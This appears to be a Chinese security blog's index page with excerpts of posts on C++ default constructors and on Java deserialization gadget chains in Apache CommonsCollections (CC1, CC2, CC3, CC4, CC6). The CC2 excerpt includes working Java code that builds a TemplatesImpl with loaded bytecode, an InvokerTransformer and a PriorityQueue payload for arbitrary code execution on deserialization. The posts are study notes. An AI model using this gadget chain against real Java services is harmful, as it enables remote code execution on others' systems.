是否存在默认构造 | 析构函数
category
汇编语言
date
Dec 2, 2023
slug
pwn14
status
Published
summary
type
Post
password
tags
实验

答:

受多种因素的影响,但可以肯定的是,在我们没有自定义构造与析构函数且没有加上 =default 等限制时,默认的构造与析构函数是不一定存在的是否存在收到优化方式、是否存在继承关系、是否存在虚函数等多种因素影响

构造函数

调用构造函数的时机

CommonsCollections 2 思路
category
JAVA WEB
date
Nov 22, 2023
slug
javasec7
status
Published
summary
type
Post
password
tags
JAVA
CC 2 链也是基于 CommonsCollections 4.0 版本,其与 CC3 极其相似,区别在于:
  • CC 3 中通过 TrAXFilter 调用 TemplatesImpl.newTransformer
  • CC 2 中直接通过 InvokerTransformer 调用 TemplatesImpl.newTransformer
TemplatesImpl templates = new TemplatesImpl(); Class templat = templates.getClass(); Field _nameField = templat.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aa"); Field _tfactoryField = templat.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); Field _bytecodesField = templat.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\11863\\IdeaProjects\\CC1\\target\\classes\\org\\example\\CC3_TEST_OutClass.class")); byte [][] finalCode = {code}; _bytecodesField.set(templates,finalCode); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator); // -------------------------------- 主要关注下方代码 -------------------------------- \\ priorityQueue.add(templates); priorityQueue.add(2); Class comparator = transformingComparator.getClass(); Field comparatorDeclaredField = comparator.getDeclaredField("transformer"); comparatorDeclaredField.setAccessible(true); comparatorDeclaredField.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin");
CommonsCollections 4 思路
category
JAVA WEB
date
Nov 6, 2023
slug
javasec6
status
Published
summary
type
Post
password
tags
JAVA

基本概述

CommonsCollections 更新了一个大版本到 4.0 时,又给其带来了新的反序列化利用链 CC4
notion image
CC 4 提供了另外一条到达任意命令/代码执行(InvokerTransformer 或 defineClass)的方式,相当于后半条链和之前一样,前半条链发生变化
CommonsCollections 3 思路
category
JAVA WEB
date
Nov 1, 2023
slug
javasec5
status
Published
summary
type
Post
password
tags
JAVA
与 CC1 与 CC3 的构造调用可执行命令类的方法实现任意命令执行不同,CC 3、CC 2、CC 4 是通过动态类加载,来加载执行自己的类代码
  • 任意命令执行:CC1 + CC3
  • 任意代码执行:CC2 + CC3 + CC4
由之前类加载一章可知,我们调用 loadClass 时其中调用了 findClass 并最终调用 defineClass 加载了类,所以在 CC3 中,我们尝试寻找调用 defineClass 的地方完成对我们自定义类的加载并执行其中的代码
CommonsCollections 6 思路
category
JAVA WEB
date
Oct 28, 2023
slug
javasec4
status
Published
summary
type
Post
password
tags
JAVA
由于 CC1 即对 JDK 版本有依赖,又对外部库 CommonsCollections 的版本有依赖,只要有一个对不上就会导致 CC1 失效,所以我们急需一条只受单一版本限制的链(不受 JDK 版本限制

CC 6

notion image

链构造

CC1 LazyMap 实现
category
JAVA WEB
date
Oct 23, 2023
slug
javasec3
status
Published
summary
type
Post
password
tags
JAVA
notion image
除了上述实现方式,CC1 的另一条链通过 LazyMap 实现,其与 TransformedMap 的差异主要表现在从 readObject -> ChainTransformer 的过程
notion image

LazyMap